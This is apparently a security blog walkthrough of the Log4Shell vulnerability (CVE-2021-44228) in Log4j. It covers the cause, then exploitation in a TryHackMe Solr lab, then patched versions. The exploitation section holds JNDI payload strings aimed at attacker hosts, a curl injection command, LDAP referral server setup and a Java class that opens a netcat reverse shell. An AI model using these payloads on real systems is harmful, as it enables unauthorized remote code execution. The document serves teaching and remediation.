.png)
A Detailed Guide to learn, Exploit and Remediate Log4j.
Log4j was first introduced on December 9, 2021, and identified as “Critical Vulnerability CVE-2021-44228” affecting the Java logging package, Log4J, and having a CVSS score of 10. It offers remote code execution on hosts engaging with software that uses the log4j utility. This attack has also been called "Log4Shell".
What is Log4j?
Log4j is a Java-based logging utility that is part of the Apache Logging Services. Log4j is one of the several Java logging frameworks which is popularly used by millions of Java applications on the internet.
What causes the Log4j-Log4Shell vulnerability?
Log4j supports by default a logging feature called “Message Lookup Substitution”. This feature enables certain special strings to be replaced, at the time of logging, by other dynamically generated strings.
For example, logging the string Running ${java:runtime} will yield an output similar to:
Running Java version 1.7.0_67
It has been discovered that one of the lookup methods, specifically the JNDI lookup paired with the LDAP protocol, will fetch a specified Java class from a remote source and deserialize it, executing some of the class’s code in the process.
The most common substitution string that takes advantage of this issue will look similar to:
${jndi:ldap://somedomain.com}
Note that the following protocols may also be used for exploiting this issue (some of them may not be available by default) – (Allows detecting vulnerable servers, does not lead to code execution.)
${jndi:ldaps://somedomain.com}
${jndi:rmi://somedomain.com}
${jndi:dns://somedomain.com}
You may already know the general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like so:
${jndi:ldap://ATTACKERCONTROLLEDHOST}Anywhere that has data logged by the application can be used as an attack vector.
For example, with many HTTP Request Headers set to the malicious string:
Referer=${jndi:ldap://example.com/…}
X-Forwarded-For=${jndi:ldap://example.com/…}
User-Agent=${jndi:ldap://example.com/…}
What is LDAP and JNDI?
LDAP (Lightweight Directory Access Protocol) is an open and cross-platform protocol that is used for directory service authentication. It provides the communication language that applications use to communicate with other directory services. Directory services store lots of important information like user account details, passwords, computer accounts, etc., which is shared with other devices on the network.
JNDI (Java Naming and Directory Interface) is an application programming interface (API) that provides naming and directory functionality to applications written using Java Programming Language.
Log4J JNDI Lookup
Lookup is a kind of mechanism that adds values to the log4j configuration at arbitrary places. Log4j has the ability to perform multiple lookups such as map, system properties, and JNDI (Java Naming and Directory Interface) lookups.
Log4j uses the JNDI API to obtain naming and directory services from several available service providers: LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), etc. if this functionality is implemented, we should this line of code somewhere in the program:
${jndi:logging/context-name}
A Normal Log4J Scenario
Exploit Log4j Scenario
An attacker who can control log messages or log messages parameters can execute arbitrary code on the vulnerable server loaded from LDAP servers when message lookup substitution is enabled. As a result, an attacker can craft a special request that would make the utility remotely download and execute the payload.
Below is the most common example of it using the combination of JNDI and LDAP: ${jndi:ldap://<host>:<port>/<payload>}
Exploitation using TryHackMe: Solar Room
1. Recon vulnerable Machine IP using Nmap.
2. Observe that the application is using Apache Solr.
3. When checking the logs, we come to know that the mentioned below URL endpoint is logged.
'http://10.10.90.28:8983/solr/admin/cores'
4. Setup an nc listener on port 9999 and run below-mentioned command.
"curl 'http://10.10.90.28:8983/solr/admin/cores?foo=$\{jndi:ldap://attackerip:9999\}'"
At this point, you have verified the target is in fact vulnerable by seeing this connection caught in your netcat listener. However, it made an LDAP request... so all your netcat listener may have seen was non-printable characters
We have to Setup an LDAP handle.
We will utilize an open-source and public utility to stage an "LDAP Referral Server". This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run code on the target. This breaks down like so:
${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server
LDAP Referral Server springboards the request to a secondary http://attackerserver/resource
The victim retrieves and executes the code present in http://attackerserver/resource
The first order of business however is obtaining the LDAP Referral Server. We will use the marshalsec utility offered at https://github.com/mbechler/marshalsec
5. Start an LDAP Server
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" 6. Save a Java file as Exploit.java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.11.56.199 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
} 7. Compile the java code:
$ javac Exploit.java -source 8 -target 8And verify it succeeded by running the ls command and finding a newly created Exploit.class
8. Setup a python Server where we saved malicious java files:
$ python3 -m http.server9. Setup an nc listener:
$ nc -lnvp 9999Your payload is created and compiled, it is hosted with an HTTP server in one terminal, your LDAP referral server is up and waiting in another terminal -- next prepare a netcat listener to catch your reverse shell in yet another new terminal window:
10. Run the below-mentioned command:
"$ curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'"11. Payload Executes Successfully.
12. LDAP server fetches Exploit.class file.
13. We got a reverse shell.
Remediation
There are so many potential places that this log4j vulnerability could be present, we may never see the end of this vulnerability for a long, long time.
Today, Log4j2 versions 2.17.1, 2.12.4, and 2.3.2. are available and patches this vulnerability (JNDI is fully disabled, support for Message Lookups is removed, and the new DoS vulnerability CVE-2021-45046 is not present). https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0
For a growing community-supported list of software and services vulnerable to CVE-2021-44228, check out this GitHub repository:
Please follow us!
We respect your knowledge and ideas. Please feel free to contact us at securesect@outlook.com, Our team stands ready to make corrections and enhancements.
Rohit Panoria
@Security Researcher and Consultant
References:
Comments